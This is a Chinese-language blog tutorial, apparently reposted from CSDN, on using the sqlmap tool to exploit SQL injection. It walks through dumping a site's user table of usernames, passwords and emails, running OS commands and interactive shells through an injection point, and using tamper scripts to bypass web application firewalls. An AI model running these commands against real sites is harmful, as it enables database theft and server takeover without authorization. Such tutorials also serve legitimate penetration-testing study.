sqlmap的使用

注意事项:

sqlmap运行需要搭建python环境。也有无环境的安装包

sqlmap只是用来检测和利用sql注入点的,并不能扫描出网站有哪些漏洞,使用前请先使用扫描工具扫出sql注入点。

sqlmap命令区分大小写

一、使用sqlmap

sqlmap的命令一般都是通用的,只有极少数命令是针对个别数据库的。

第一步:判断啊是否是注入点

 sqlmap.py -u "url"

使用 -u参数指定url,如果url存在注入点,将会显示出web容器、数据库版本信息

第二步:获取所有数据库名

sqlmap.py -u "url" --dbs

使用-dbs读取数据库

第三步:查看当前应用程序所用数据库

sqlmap.py -u "url"  --current-db

使用 --current-db参数列出当前应用程序所使用的数据库

第四步:列出制定数据库的所有表

sqlmap.py -u "url" --table -D "bbs"

使用--table参数获取数据库表,-D参数指定数据库

第五步:读取指定表中的字段名称

sqlmap.py -u "url"  --columns -T "User" -D "bbs"

使用--columns参数列取字段名

第六步:获取指定字段内容

sqlmap.py -u "url" --dump -C "UserName,passWord,Email" -T "[User]" -D "bbs"

--dump 转存数据

-C参数指定字段名称

-T指定表名【因为user属于数据库关键字,所以建议加上【】】

-D指定数据库名称

 读取完数据以后,sqlmap会把读取的数据转存到sqlmap/output目录下,文件以“Table.cvs”

保存

通过以上六个步骤,sqlmap可以轻松地对存在注入漏洞的 URL读取数据

二、sqlmap参数 例举了一些常用参数

(1)测试注入点权限

sqlmap.py -u [URL]     -- privileges  //测试所有用户的权限

sqlmap.py -u [URL]    -- privileges -U sa //测试sa用户权限

(2)执行shell命令

sqlmap.py -u  [URL]   --os-cmd="net user"   //执行net user命令

sqlmap.py -u  [URL]    --os-shell    //系统交互的shell

(3)获取当前数据库名称

sqlmap.py -u  [URL]     --current-db

(4)执行sql命令

sqlmap.py -u [URL]    --sql-shell  //返回sql交互的shell,可以执行sql语句

sqlmap.py -u [URL]     --sql-query="sql"

(5)POST提交方式

sqlmap.py -u [URL]     --data "POST参数"

(6)显示详细的等级

sqlmap.py -u [URL]    --dbs -v 1

 

-v参数有以下7个等级

0、只显示python错误以及严重的信息。

 

1、同时显示基本信息和警告信息。(默认)

 

2、同时显示debug信息。

 

3、同时显示注入的payload。

 

4、同时显示HTTP请求。

 

5、同时显示HTTP响应头。

 

6、同时显示HTTP响应页面。

 

如果你想看到sqlmap发送的测试payload最好的等级就是3。

(7)注入HTTP请求

sqlmap.py -r head.txt --dbs    //head.txt 内容为HTTP请求

(8)注入等级

sqlmap.py -u [URL] --level 3

(9)将注入语句插到指定位置

sqlmap.py -u "http://www.xxx.com/id/2*.html" --dbs

有些网站采用了伪静态页面,这时再使用sqlmap注入是无能为力的,因为sqlmap无法识别哪里是对服务器提交的请求参数,所以sqlmap提供了“*”参数,将sql语句插入到指定位置,这一用法常用于伪静态注入。

(10)使用sqlmap插件

sqlmap.py -u [URL]  -tamper "space2morehash.py"

sqlmap自带了很多插件,可针对注入的sql语句进行编码等操作,插件都保存在sqlmap目录下的tamper文件夹中,这些插件通常用来绕过waf

 

更详细的参数参照 sqlmap.py   -hh

猜你喜欢

转载自blog.csdn.net/wyj____/article/details/81188293